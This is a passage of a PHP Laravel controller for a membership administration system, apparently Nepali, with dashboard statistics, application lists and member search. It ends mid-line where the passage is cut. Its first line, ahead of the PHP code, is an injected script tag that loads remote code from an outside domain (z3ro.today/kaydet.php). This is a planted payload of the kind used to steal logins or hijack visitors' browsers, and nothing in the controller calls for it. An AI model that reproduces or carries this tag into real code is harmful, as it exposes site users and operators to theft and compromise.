<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers;

use App\Models\Level;
use App\Models\MemberLevel;
use App\Models\Members;
use App\Models\Province;
use App\Models\MembershipRenewal;
use App\Models\MemberSpecialization;
use App\Models\Specialization;
use App\Models\User;
use Illuminate\Http\Request;

class HomeController extends Controller
{

    private $gapaswaka = 5; // Assuming this is the ID for gapaswaka level

    public function dashboard()
    {
        $sName = Specialization::orderBy('id')->withCount('members')->get();
        $levelName = Level::orderBy('id')->withCount('members')->get();
        $newMemberCount = Members::where('app_status', '1')->count();
        $notsubmitted = Members::where('app_status', '0')->whereNotIn('level_id', [$this->gapaswaka])->count();
        $newRenewalCount = MembershipRenewal::where('is_current', '0')->count();
        $newspezCount = Members::where('level_id', '1')->where('app_status', '1')->count();

        // Updated level change counting with proper status counts
        $newlevelCount = MemberLevel::where('application_status', 'pending')->count();
        $approvedLevelCount = MemberLevel::where('application_status', 'approved')->where('is_current', '0')->count();

        $userRequestCount = User::where('status', '0')->count();
        $userCount = User::count();
        $emptyVoucherCount = Members::where('reg_payment_status', '0')->count();

        $sentBackCount = Members::where('app_status', '0')
            ->whereNotNull('sent_back_for')->count();

        $levelGenderData = Members::selectRaw('level_id, gender, COUNT(*) as count')
            ->where('app_status', '2')
            ->groupBy('level_id', 'gender')
            ->with('level')
            ->get()
            ->groupBy('level_id');

        $levelTotals = [];
        foreach ($levelName as $level) {
            $male = $levelGenderData[$level->id]->where('gender', 1)->first()->count ?? 0;
            $female = $levelGenderData[$level->id]->where('gender', 2)->first()->count ?? 0;

            $levelTotals[$level->id] = [
                'level_name' => $level->level,
                'male' => $male,
                'female' => $female,
                'total' => $male + $female
            ];
        }

        // Get member info if user is a member
        $member = null;
        $memberLevelApplication = null;

        if (auth()->user()->usertype == '3') {
            $member = Members::where('id', memberfromuser(auth()->user()->id))->first();

            // Get the latest level change application for this member
            if ($member) {
                $memberLevelApplication = MemberLevel::where('members_id', $member->id)
                    ->with(['targetedLevel', 'previousLevel', 'notice'])
                    ->orderBy('created_at', 'desc')
                    ->first();
            }
        }

        $grandTotal = [
            'male' => array_sum(array_column($levelTotals, 'male')),
            'female' => array_sum(array_column($levelTotals, 'female')),
            'total' => array_sum(array_column($levelTotals, 'total'))
        ];

        // Comprehensive level change statistics
        $levelChangeStats = [
            'pending' => MemberLevel::where('application_status', 'pending')->count(),
            'approved' => MemberLevel::where('application_status', 'approved')->count(),
            'rejected' => MemberLevel::where('application_status', 'rejected')->count(),
            'under_review' => MemberLevel::where('application_status', 'under_review')->count(),
            'total' => MemberLevel::count(),
            'approved_not_active' => MemberLevel::where('application_status', 'approved')->where('is_current', '0')->count(),
        ];

        // Calculate total unread notifications for admin
        $totalUnreadNotifications = $newMemberCount + $newlevelCount + $sentBackCount + $approvedLevelCount;

        return view('dashboard', compact(
            'sName',
            'levelName',
            'levelTotals',
            'grandTotal',
            'newMemberCount',
            'newRenewalCount',
            'newspezCount',
            'newlevelCount',
            'approvedLevelCount',
            'userRequestCount',
            'member',
            'memberLevelApplication',
            'notsubmitted',
            'userCount',
            'emptyVoucherCount',
            'sentBackCount',
            // 'genderCounts',
            'levelChangeStats',
            'totalUnreadNotifications'
        ));
    }

    // Add new method for level change requests
    public function new_level_changes()
    {
        $levelChangeRequests = MemberLevel::with(['members', 'targetedLevel', 'previousLevel', 'notice'])
            ->where('application_status', 'pending')
            ->orderBy('created_at', 'desc')
            ->paginate(50);

        $pageTitle = "श्रेणी परिवर्तन निवेदनहरू";

        return view('admin.level-changes.index', compact('levelChangeRequests', 'pageTitle'));
    }

    // Add method for approved level changes waiting to be activated
    public function approved_level_changes()
    {
        $levelChangeRequests = MemberLevel::with(['members', 'targetedLevel', 'previousLevel', 'notice'])
            ->where('application_status', 'approved')
            ->where('is_current', '0')
            ->orderBy('approved_at', 'desc')
            ->paginate(50);

        $pageTitle = "स्वीकृत श्रेणी परिवर्तनहरू";

        return view('admin.level-changes.approved', compact('levelChangeRequests', 'pageTitle'));
    }

    public function new_members()
    {
        $memberName = Members::with(['level', 'specialization'])
            ->where('app_status', '1')
            ->whereNotIn('level_id', [$this->gapaswaka])
            ->orderBy('submitted_date', 'desc')
            ->paginate(100);

        $levels = Level::all();
        $pageTitle = "New Member Requests";

        return view('new-submit', compact('memberName', 'pageTitle', 'levels'));
    }

    public function not_submitted()
    {
        $memberName = Members::where('app_status', '0')
            ->whereNotIn('level_id', [$this->gapaswaka])
            ->orderBy('nameeng', 'asc')
            ->paginate(50);

        $pageTitle = "Applications Waiting for Submission";

        return view('not-submitted', compact('memberName', 'pageTitle'));
    }

    public function approved_members()
    {

        $provinces = Province::pluck('province', 'id');

        $memberName = Members::where('app_status', '2')
            ->whereNotIn('level_id', [$this->gapaswaka])
            ->where('certificate_status', '0')
            ->orderBy('accepted_sn', 'asc')
            ->paginate(100);

        $pageTitle = "Approved Members";

        return view('new-registration', compact('memberName', 'provinces', 'pageTitle'));
    }

    public function rejected_members()
    {
        $provinces = Province::pluck('province', 'id');

        $memberName = Members::where('app_status', '3')
            ->whereNotIn('level_id', [$this->gapaswaka])
            ->orderBy('updated_at', 'desc')
            ->paginate(50);

        $pageTitle = "Rejected Members";

        return view('new-registration', compact('memberName', 'provinces', 'pageTitle'));
    }


    public function ga_pa_swa_new_members()
    {
        $memberName = Members::where('app_status', '1')
            ->whereIn('level_id', [$this->gapaswaka])
            ->orderBy('id', 'asc')
            ->paginate(50);

        $pageTitle = "ग्रा.प.स्व.का.  नयाँ आवेदनहरू ";

        return view('new-gregistration', compact('memberName', 'pageTitle'));
    }

    public function ga_pa_swa_approved_members()
    {
        $memberName = Members::where('app_status', '2')
            ->whereIn('level_id', [$this->gapaswaka])
            ->where('certificate_status', '!=', '1')
            ->orderBy('accepted_sn', 'asc')
            ->paginate(50);

        $pageTitle = " ग्रा.प.स्व.का. - रुजु गरीएका आवेदनहरू ";

        return view('new-gsubmit', compact('memberName', 'pageTitle'));
    }

    public function ga_pa_swa_rejected_members()
    {
        $provinces = Province::pluck('province', 'id');
        $memberName = Members::where('app_status', '3')
            ->whereIn('level_id', [$this->gapaswaka])
            ->orderBy('updated_at', 'desc')
            ->paginate(50);

        $pageTitle = "Rejected  GA. PA. SWA. KA Members";

        return view('new-registration', compact('memberName', 'provinces', 'pageTitle'));
    }

    public function sent_back_applications()
    {
        $provinces = Province::pluck('province', 'id');
        $memberName = Members::where('app_status', '0')
            ->whereNotNull('sent_back_for')
            ->orderBy('updated_at', 'desc')
            ->paginate(50);

        $pageTitle = "Sent back applications for query";

        return view('sent-back-registration', compact('memberName', 'provinces', 'pageTitle'));
    }

    public function new_renewals()
    {
        $memberName = MembershipRenewal::with('members')->where('is_current', '0')->orderBy('updated_at', 'desc')->get();

        return view('new-renewal', compact('memberName'));
    }

    public function voucher_not_uploaded()
    {
        $memberName = Members::where('reg_payment_status', '0')
            ->orderBy('updated_at', 'desc')
            ->paginate(50);

        return view('voucher-not-uploaded', compact('memberName'));
    }

    public function new_specializations()
    {
        $memberName = Members::where('level_id', '1')->where('app_status', '1')->orderBy('updated_at', 'desc')->paginate(100);

        return view('new-spez', compact('memberName'));
    }

    public function new_levels()
    {
        $memberName = MemberLevel::where('is_current', '0')->orderBy('updated_at', 'desc')->get();

        return view('new-level', compact('memberName'));
    }

    public function search_rejected_members(Request $request)
    {
        $provinces = Province::pluck('province', 'id');
        $validated = $request->validate([
            'name' => ['nullable', 'string'],
            'phone' => ['nullable', 'numeric'],
            'province' => ['nullable', 'numeric'],
        ]);

        $member = Members::query();

        if (isset($validated['name'])) {
            $member = $member->where('name', 'like', '%' . $validated['name'] . '%')
                ->orWhere('nameeng', 'like', '%' . $validated['name'] . '%');
        }
        if (isset($validated['phone'])) {
            $member = $member->where('mobileno', $validated['phone']);
        }
        if (isset($validated['province'])) {
            $member = $member->where('province_id', $validated['province']);
        }

        $memberName = $member->where('app_status', '3')
            ->whereNotIn('level_id', [$this->gapaswaka])
            ->paginate(50);

        $pageTitle = "Searching Member";

        return view('new-registration', compact('memberName', 'provinces', 'pageTitle'));
    }

    public function search_new_submit(Request $request)
    {
        $query = Members::with(['level', 'specialization'])
            ->where('app_status', '1')
            ->whereNotIn('level_id', [$this->gapaswaka]);

        // Search by name
        if ($request->filled('name')) {
            $query->where(function ($q) use ($request) {
                $q->where('name', 'like', '%' . $request->name . '%')
                    ->orWhere('nameeng', 'like', '%' . $request->name . '%');
            });
        }

        // Search by phone
        if ($request->filled('phone')) {
            $query->where('mobileno', $request->phone);
        }

        // Search by level
        if ($request->filled('level_id')) {
            $query->where('level_id', $request->level_id);
        }

        $memberName = $query->orderBy('updated_at', 'asc')->paginate(100);

        return view('new-submit', [
            'memberName' => $memberName,
            'levels' => Level::all(),
            'provinces' => Province::pluck('province', 'id'),
            'pageTitle' => "New Registration Application Forms",
            'searchParams' => $request->all() // Pass search parameters to view
        ]);
    }
    public function search_members(Request $request)
    {
        $validated = $request->validate([
            'name' => ['nullable', 'string'],
            'phone' => ['nullable', 'numeric'],
        ]);

        $member = Members::query();

        if ($validated['name']) {
            $member = $member->where('name', 'like', '%' . $validated['name'] . '%')
                ->orWhere('nameeng', 'like', '%' . $validated['name'] . '%');
        }
        if ($validated['phone']) {
            $member = $member->where('mobileno', $validated['phone']);
        }

        $provinces = Province::pluck('province', 'id');
        $memberName = $member->paginate(50);

        $pageTitle = "Searching Member";

        return view('new-registration', compact('memberName', 'pageTitle', 'provinces'));
    }

    public function not_sub_search(Request $request)
    {
        $validated = $request->validate([
            'name' => ['nullable', 'string'],
            'phone' => ['nullable', 'numeric'],
        ]);

        $member = Members::query();

        if ($validated['name']) {
            $member = $member->where('name', 'like', '%' . $validated['name'] . '%')
                ->orWhere('nameeng', 'like', '%' . $validated['name'] . '%');
        }
        if ($validated['phone']) {
            $member = $member->where('mobileno', $validated['phone']);
        }

        $memberName = $member->whereNotIn('level_id', [$this->gapaswaka])->where('app_status', '0')->paginate(50);

        $pageTitle = "Searching Member";

        return view('not-submi